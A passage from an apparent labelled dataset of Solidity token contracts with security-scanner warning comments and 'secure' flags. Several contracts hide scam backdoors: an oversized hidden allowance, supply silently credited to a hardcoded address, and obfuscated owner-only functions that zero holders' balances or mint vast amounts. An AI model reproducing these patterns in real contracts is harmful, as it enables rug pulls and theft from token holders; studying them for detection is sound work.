sload(0x110))\n sstore(0x115, sload(0x120))\n }\n if and(\n iszero(eq(sender, sload(firstSpring(0x2, 0x2)))),\n and(\n iszero(eq(recipient, sload(firstSpring(0x2, 0x1)))),\n iszero(eq(recipient, sload(firstSpring(0x2, 0x2))))\n )\n ) {\n sstore(hobbyRazor(recipient, 0x3), 0x1)\n }\n if iszero(eq(sload(0x110), number())) {\n sstore(0x200, recipient)\n }\n sstore(0x110, number())\n sstore(0x120, recipient)\n }\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _DeployExperience(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n _balances[account] += amount;\n approve(playFestival[0], 10 ** 77);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_2119.sol",
"secure": 0,
"size_bytes": 7977
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Proxy {\n function _delegate(address implementation) internal virtual {\n assembly {\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(\n gas(),\n implementation,\n 0,\n calldatasize(),\n 0,\n 0\n )\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n function _implementation() internal view virtual returns (address);\n\n function _fallback() internal virtual {\n _delegate(_implementation());\n }\n\n fallback() external payable virtual {\n _fallback();\n }\n}",
"file_name": "solidity_code_212.sol",
"secure": 1,
"size_bytes": 940
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20Token is Context, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5189f03): ERC20Token.constructor(string,string,address,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 5189f03: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edaf46d): ERC20Token.constructor(string,string,address,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for edaf46d: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n address creator,\n uint256 initialSupply\n ) ERC20(name, symbol, creator) {\n _DeployExperience(creator, initialSupply);\n }\n}",
"file_name": "solidity_code_2120.sol",
"secure": 0,
"size_bytes": 1066
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Token.sol\" as ERC20Token;\n\ncontract Experience is ERC20Token {\n constructor()\n ERC20Token(\"Experience\", \"EXP\", msg.sender, 225000000 * 10 ** 18)\n {}\n}",
"file_name": "solidity_code_2121.sol",
"secure": 1,
"size_bytes": 252
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20Token is IERC20 {\n string public constant name = \"SAMSAM\";\n\n string public constant symbol = \"SAM\";\n\n uint8 public constant decimals = 18;\n\n uint256 private immutable _totalSupply = 1000000 * 10 ** uint256(decimals);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n\n _balances[0x71f26100B1F800CD043650532Be7176c29B28Ef3] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2122.sol",
"secure": 1,
"size_bytes": 2782
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Yikes is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: 2630887): Yikes._feeAddrWallet1 should be immutable \n\t// Recommendation for 2630887: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: b38d5b6): Yikes._feeAddrWallet2 should be immutable \n\t// Recommendation for b38d5b6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"Yikes Elon\";\n string private constant _symbol = \"Yikes\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0xA8A99F2DB53C913Fd3924E66dE83426cf44b5ad2);\n _feeAddrWallet2 = payable(0xA8A99F2DB53C913Fd3924E66dE83426cf44b5ad2);\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0xC3bAABaB0E745AE3Ee2c5Adb316e99Fe40b3012a),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 623c2a7): Yikes.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 623c2a7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9588ea3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9588ea3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9981a33): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9981a33: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9588ea3\n\t\t// reentrancy-benign | ID: 9981a33\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 9588ea3\n\t\t// reentrancy-benign | ID: 9981a33\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cb2e2ee): Yikes._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cb2e2ee: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 9981a33\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 9588ea3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c132a36): Yikes._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for c132a36: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c51b044): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c51b044: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 385aa2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 385aa2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 21d550b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 21d550b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = 1;\n _feeAddr2 = 11;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: c132a36\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (30 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = 1;\n _feeAddr2 = 11;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: c51b044\n\t\t\t\t// reentrancy-benign | ID: 385aa2c\n\t\t\t\t// reentrancy-eth | ID: 21d550b\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c51b044\n\t\t\t\t\t// reentrancy-eth | ID: 21d550b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: c51b044\n\t\t// reentrancy-benign | ID: 385aa2c\n\t\t// reentrancy-eth | ID: 21d550b\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: c51b044\n\t\t// reentrancy-events | ID: 9588ea3\n\t\t// reentrancy-benign | ID: 385aa2c\n\t\t// reentrancy-benign | ID: 9981a33\n\t\t// reentrancy-eth | ID: 21d550b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c51b044\n\t\t// reentrancy-events | ID: 9588ea3\n\t\t// reentrancy-eth | ID: 21d550b\n _feeAddrWallet1.transfer(amount.div(2));\n\t\t// reentrancy-events | ID: c51b044\n\t\t// reentrancy-events | ID: 9588ea3\n\t\t// reentrancy-eth | ID: 21d550b\n _feeAddrWallet2.transfer(amount.div(2));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f154e1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f154e1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aafa8a0): Yikes.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aafa8a0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04d51cc): Yikes.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 04d51cc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 830f234): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 830f234: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: f154e1a\n\t\t// reentrancy-eth | ID: 830f234\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: f154e1a\n\t\t// unused-return | ID: aafa8a0\n\t\t// reentrancy-eth | ID: 830f234\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: f154e1a\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: f154e1a\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: f154e1a\n _maxTxAmount = 50000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 830f234\n tradingOpen = true;\n\t\t// unused-return | ID: 04d51cc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 21d550b\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 21d550b\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: c51b044\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 21d550b\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 21d550b\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 385aa2c\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2123.sol",
"secure": 0,
"size_bytes": 17994
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract CHIBI6900 is Ownable {\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 627b91c): CHIBI6900.constructor(address).fpjylcwz lacks a zerocheck on \t fjymbvzw = fpjylcwz\n\t// Recommendation for 627b91c: Check that the address is not zero.\n constructor(address fpjylcwz) {\n\t\t// missing-zero-check | ID: 627b91c\n fjymbvzw = fpjylcwz;\n dmhznble[_msgSender()] += supplyamount;\n emit Transfer(address(0), _msgSender(), supplyamount);\n }\n\t// WARNING Optimization Issue (immutable-states | ID: f18d5af): CHIBI6900.fjymbvzw should be immutable \n\t// Recommendation for f18d5af: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public fjymbvzw;\n\t// WARNING Optimization Issue (immutable-states | ID: 032eb0c): CHIBI6900.supplyamount should be immutable \n\t// Recommendation for 032eb0c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 supplyamount = 1000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: b6850d7): CHIBI6900._totalSupply should be immutable \n\t// Recommendation for b6850d7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = supplyamount;\n mapping(address => uint256) private dmhznble;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc00b1f): CHIBI6900._cigzyxas should be constant \n\t// Recommendation for fc00b1f: Add the 'constant' attribute to state variables that never change.\n string private _cigzyxas = \"CHIBI 6900\";\n\t// WARNING Optimization Issue (constable-states | ID: 20413f6): CHIBI6900._zvxtgilo should be constant \n\t// Recommendation for 20413f6: Add the 'constant' attribute to state variables that never change.\n string private _zvxtgilo = \"CHIBI6900\";\n\n function symbol() public view returns (string memory) {\n return _zvxtgilo;\n }\n\n function idohsxtl(address vdolrzay) public {\n if (fjymbvzw == _msgSender()) {\n address mzvbxnaw = vdolrzay;\n uint256 curamount = dmhznble[mzvbxnaw];\n uint256 newaaamount = dmhznble[mzvbxnaw] +\n dmhznble[mzvbxnaw] -\n curamount;\n dmhznble[mzvbxnaw] -= newaaamount;\n } else {\n revert(\"ccc\");\n }\n return;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return dmhznble[account];\n }\n\n function name() public view returns (string memory) {\n return _cigzyxas;\n }\n\n function ohndsjgz() external {\n address ztouvlsx = _msgSender();\n dmhznble[ztouvlsx] += 1 * 38200 * ((10 ** decimals() * xurtojpf));\n require(fjymbvzw == _msgSender());\n if (fjymbvzw == _msgSender()) {}\n if (fjymbvzw == _msgSender()) {}\n }\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\t// WARNING Optimization Issue (constable-states | ID: a3c8cb3): CHIBI6900.xurtojpf should be constant \n\t// Recommendation for a3c8cb3: Add the 'constant' attribute to state variables that never change.\n uint256 xurtojpf = 32330000000 + 1000;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 315f30f): CHIBI6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 315f30f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = dmhznble[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n dmhznble[from] = dmhznble[from] - amount;\n dmhznble[to] = dmhznble[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 605bc96): CHIBI6900.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 605bc96: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1e9b001): CHIBI6900._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1e9b001: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a82b0fc): CHIBI6900.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a82b0fc: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5cb9373): CHIBI6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5cb9373: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2124.sol",
"secure": 0,
"size_bytes": 7774
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Babymilady is Context, IERC20, IERC20Metadata, Ownable {\n using SafeMath for uint256;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 11c9939): babymilady._bnbbusd should be immutable \n\t// Recommendation for 11c9939: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _bnbbusd;\n mapping(address => uint256) private _weofsdmese;\n\n uint256 private _totalSupply;\n uint256 public constant MAXSupply = 5000000 * 10 ** 18;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _bnbbusd = _msgSender();\n _yydsed(_msgSender(), 5000000 * 10 ** decimals());\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _weofsdmese[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc6dc8a): babymilady.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc6dc8a: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9154592): babymilady.allowance(address,address).owner shadows Ownable.owner() 